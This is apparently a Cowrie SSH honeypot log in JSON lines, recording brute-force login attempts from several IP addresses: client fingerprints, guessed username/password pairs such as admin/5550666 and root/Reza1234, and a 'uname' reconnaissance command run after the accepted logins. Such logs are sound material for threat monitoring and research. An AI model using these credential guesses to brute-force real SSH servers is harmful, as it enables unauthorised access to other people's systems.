{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.749718Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5550666","message":"login attempt [admin/5550666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.949165Z","src_ip":"91.92.40.36","session":"438c61680b6a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:52.996037Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:53.367732Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:53.370445Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:53.454356Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:53.458649Z","src_ip":"45.153.34.195","session":"b12d20f8d9e3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:54.024324Z","src_ip":"91.92.40.36","session":"81616efcb414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:54.027834Z","src_ip":"91.92.40.36","session":"81616efcb414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.4","message":"Connection lost after 18.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:55.108337Z","src_ip":"91.92.40.36","session":"32b1f9f55a43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"starsky","message":"login attempt [admin/starsky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:55.653141Z","src_ip":"91.92.40.36","session":"442a6d1474f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54428,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc1819932730","protocol":"ssh","message":"New connection: 45.153.34.195:54428 (10.17.0.5:22) [session: dc1819932730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:55.688801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:55.693395Z","src_ip":"45.153.34.195","session":"dc1819932730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:55.776329Z","src_ip":"45.153.34.195","session":"dc1819932730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toto","password":"toto","message":"login attempt [toto/toto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:56.021606Z","src_ip":"45.153.34.195","session":"dc1819932730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.8","message":"Connection lost after 24.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:56.370476Z","src_ip":"91.92.40.36","session":"750a687cecca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:56.563106Z","src_ip":"91.92.40.36","session":"438c61680b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:57.104861Z","src_ip":"45.153.34.195","session":"dc1819932730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54436,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d04466bb96","protocol":"ssh","message":"New connection: 45.153.34.195:54436 (10.17.0.5:22) [session: 12d04466bb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:58.443735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:58.545871Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:58.550605Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13104,"dst_ip":"159.203.135.109","dst_port":22,"session":"27adc0708531","protocol":"ssh","message":"New connection: 91.92.40.36:13104 (159.203.135.109:22) [session: 27adc0708531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:58.678391Z"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.040060Z","src_ip":"91.92.40.36","session":"442a6d1474f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.044713Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.244237Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.247496Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.331315Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:59.336479Z","src_ip":"45.153.34.195","session":"12d04466bb96","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:00.360450Z","src_ip":"91.92.40.36","session":"27adc0708531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:00.363828Z","src_ip":"91.92.40.36","session":"27adc0708531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54452,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e35f2f455e4","protocol":"ssh","message":"New connection: 45.153.34.195:54452 (10.17.0.5:22) [session: 6e35f2f455e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:01.291130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:01.428561Z","src_ip":"45.153.34.195","session":"6e35f2f455e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:01.434423Z","src_ip":"45.153.34.195","session":"6e35f2f455e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Reza1234","message":"login attempt [root/Reza1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:01.943702Z","src_ip":"45.153.34.195","session":"6e35f2f455e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"tactical","message":"login attempt [admin/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:02.438121Z","src_ip":"91.92.40.36","session":"81616efcb414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:03.146712Z","src_ip":"45.153.34.195","session":"6e35f2f455e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62676,"dst_ip":"10.17.0.5","dst_port":22,"session":"69c07897df68","protocol":"ssh","message":"New connection: 123.27.168.40:62676 (10.17.0.5:22) [session: 69c07897df68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.118581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.123336Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20356,"dst_ip":"10.17.0.5","dst_port":22,"session":"4edfd1d6c076","protocol":"ssh","message":"New connection: 45.153.34.195:20356 (10.17.0.5:22) [session: 4edfd1d6c076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.240641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.245073Z","src_ip":"45.153.34.195","session":"4edfd1d6c076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.329235Z","src_ip":"45.153.34.195","session":"4edfd1d6c076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.411205Z","src_ip":"123.27.168.40","session":"69c07897df68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:00:04.750241Z","src_ip":"45.153.34.195","session":"4edfd1d6c076","protocol":"ssh"}
